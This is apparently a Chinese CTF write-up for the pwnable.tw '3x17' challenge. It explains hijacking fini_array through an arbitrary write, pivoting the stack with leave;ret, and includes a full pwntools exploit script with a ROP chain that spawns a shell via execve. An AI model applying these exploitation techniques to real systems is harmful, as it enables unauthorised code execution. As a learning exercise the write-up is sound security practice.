Contents
  1. 1. 3X17
    1. 1.1. 0x01 分析
    2. 1.2. 0x02 exp

继续继续…不能都搞一半放下了…

3X17

这个题目是静态编译,先来了解一下ELF文件的启动

详细请看:https://luomuxiaoxiao.com/?p=516

0x01 分析

ida一看这个函数名,静态编译,再通过linux file确认一下

运行程序,在ida中查找字符串引用,可以找到main函数,实现了任意地址写的功能。

上面这个就是main了,从ELF文件的执行来看,我们回到start函数

_start -> __libc_start_main -> __libc_csu_init -> main -> __libc_csu_fini

按照这个顺序,main进行任意地址写,执行到fini,我们来看看有没有什么可以利用的

所以我们可以通过将fini_array[1]改为main地址,然后会执行_fini_array[0]改为fini函数地址,所以就变成了

main --> fini --> fini_array[1](main) --> fini_array[0](fini) --> fini_array[1](main) -->...

继续写rop链,达到调用execve('/bin/sh\x00', 0, 0),也就是rax设置调用号59,然后布置rdi, rsi, rdx参数

最后要达到调用rop的效果,可以利用leave ret,通过设置esp,跳转到rop。

1
2
leave ==> mov esp, ebp;  pop ebp;
ret ==> pop eip

可以通过将array[0]设置为leave_ret,这样ebp就会是array[1],esp为ebp-8,这时候我们提前把rop写在array[1]-8,也就是0x4B4100就会跳转到rop。

0x02 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!usr/bin/python
from pwn import *
context.log_level = 'debug'

binary = "./3x17"
ip = "chall.pwnable.tw"
port = 10105
elf = ELF(binary)

main = 0x0000000000401B6D
fini = 0x0000000000402960
array = 0x4B40F0
array_end = 0x4B4100
bss = 0x00000000004B9550
syscall =0x0000000000446E2C
leave_ret = 0x0000000000401C4B

pop_rax = 0x000000000041e4af
pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x0000000000446e35

def rop(addr, data):
io.recv()
io.send(str(addr))
io.recv()
io.send(data)

def pwn(ip, port, debug):
global io
if debug == 1:
io = process(binary)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
io = remote(ip, port)
libc = 0
# main<->fini
rop(array, p64(fini)+p64(main))
# binsh
rop(bss,'/bin/sh\x00')
# rop
rop(array_end, p64(pop_rax))
rop(array_end+8, p64(59))
rop(array_end+0x10, p64(pop_rdi))
rop(array_end+0x18, p64(bss))
rop(array_end+0x20, p64(pop_rsi))
rop(array_end+0x28, p64(0))
rop(array_end+0x30, p64(pop_rdx))
rop(array_end+0x38, p64(0))
rop(array_end+0x40, p64(syscall))
rop(array, p64(leave_ret))

io.interactive()

if __name__ == '__main__':
pwn(ip, port, 0)

(功力退散,技不如人

参考:
https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/
https://my.oschina.net/hetianlab/blog/4333836